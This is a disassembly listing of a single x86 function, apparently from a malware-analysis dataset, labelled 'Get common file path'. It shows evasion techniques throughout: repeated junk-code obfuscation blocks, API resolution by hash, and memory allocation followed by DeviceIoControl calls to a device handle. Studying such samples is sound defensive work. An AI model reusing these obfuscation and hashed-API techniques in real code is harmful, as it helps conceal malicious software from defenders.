Function at 0x403614
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
push esi
push edi
pushal
je 0x403628
jne 0x403628
call 0x90a21ff6
popal
nop
pushal
jmp 0x403633
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x40363c
popal
movzx eax, byte [0x401bf4]
test eax, eax
je 0x40387e
push 0x697a6afe
push 1
call fcn.004021a0
mov dword [ebp - 0x234], eax
push pe_nt_image_headers32
push 0x3000
push 0x190
push 0
call dword [ebp - 0x234]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x230], eax
nop
pushal
jmp 0x4036b4
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4036bd
popal
push 0x697a6afe
push 1
call fcn.004021a0
mov dword [ebp - 0x238], eax
push pe_nt_image_headers32
push 0x3000
push 8
push 0
call dword [ebp - 0x238]
mov dword [ebp - 0x28], eax
push 0xff
push 0
lea eax, [ebp - 0x22c]
push eax
call fcn.00405050
add esp, 0xc
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00405050
add esp, 0xc
push 0x401cc4
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0xff
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x401cb4
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x12c]
add eax, 0xc8
mov dword [ebp - 0x20], eax
push dword [ebp + 8]
push dword [ebp - 0x18]
call fcn.00404f60
pop ecx
pop ecx
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 0x20]
call fcn.00404f70
pop ecx
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
push ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ebx
pop ebx
push 0x8f8f114
push 1
call fcn.004021a0
mov dword [ebp - 0x23c], eax
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x401ca8
call dword [ebp - 0x23c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x403825
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 8
lea eax, [ebp - 0x10]
push eax
push 0x222014
push dword [ebp - 8]
call dword [0x4018f8]
and dword [ebp - 4], 0
jmp 0x403829
or dword [ebp - 4], 0xffffffff
push 0x3a35705f
push 1
call fcn.004021a0
mov dword [ebp - 0x240], eax
push 0x4000
push 0x190
push dword [ebp - 0x230]
call dword [ebp - 0x240]
push 0x3a35705f
push 1
call fcn.004021a0
mov dword [ebp - 0x244], eax
push 0x4000
push 8
push dword [ebp - 0x28]
call dword [ebp - 0x244]
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x697a6afe
push 1
call fcn.004021a0
mov dword [ebp - 0x248], eax
push pe_nt_image_headers32
push 0x3000
push 0x190
push 0
call dword [ebp - 0x248]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
nop
pushal
jmp 0x4038b7
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x4038c0
popal
push 0x697a6afe
push 1
call fcn.004021a0
mov dword [ebp - 0x24c], eax
push pe_nt_image_headers32
push 0x3000
push 8
push 0
call dword [ebp - 0x24c]
mov dword [ebp - 0x14], eax
nop
pushal
jmp 0x403917
imul eax, esi, 0x12b
xadd ecx, eax
sub eax, esi
xchg ecx, edx
add ecx, esi
sbb eax, 0x43211a2f
mov bl, cl
nop
imul eax, ecx, 0xff5e3306
add al, 0xc6
mov eax, ebx
mov ebx, 0x41
cmp ebx, 0
je 0x403920
popal
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
add eax, 0xc8
mov dword [ebp - 0x20], eax
push dword [ebp + 0xc]
push dword [ebp - 0x18]
call fcn.00404f60
pop ecx
pop ecx
push dword [ebp + 8]
push dword [ebp - 0x20]
call fcn.00404f70
pop ecx
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
push ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebp - 0xc], ebx
pop ebx
push 0x8f8f114
push 1
call fcn.004021a0
mov dword [ebp - 0x250], eax
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x401ca8
call dword [ebp - 0x250]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4039e2
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 8
lea eax, [ebp - 0x10]
push eax
push 0x222014
push dword [ebp - 8]
call dword [0x4018f8]
and dword [ebp - 4], 0
jmp 0x4039e6
or dword [ebp - 4], 0xffffffff
push 0x3a35705f
push 1
call fcn.004021a0
mov dword [ebp - 0x254], eax
push 0x4000
push 0x190
push dword [ebp - 0x24]
call dword [ebp - 0x254]
push 0x3a35705f
push 1
call fcn.004021a0
mov dword [ebp - 0x258], eax
push 0x4000
push 8
push dword [ebp - 0x14]
call dword [ebp - 0x258]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret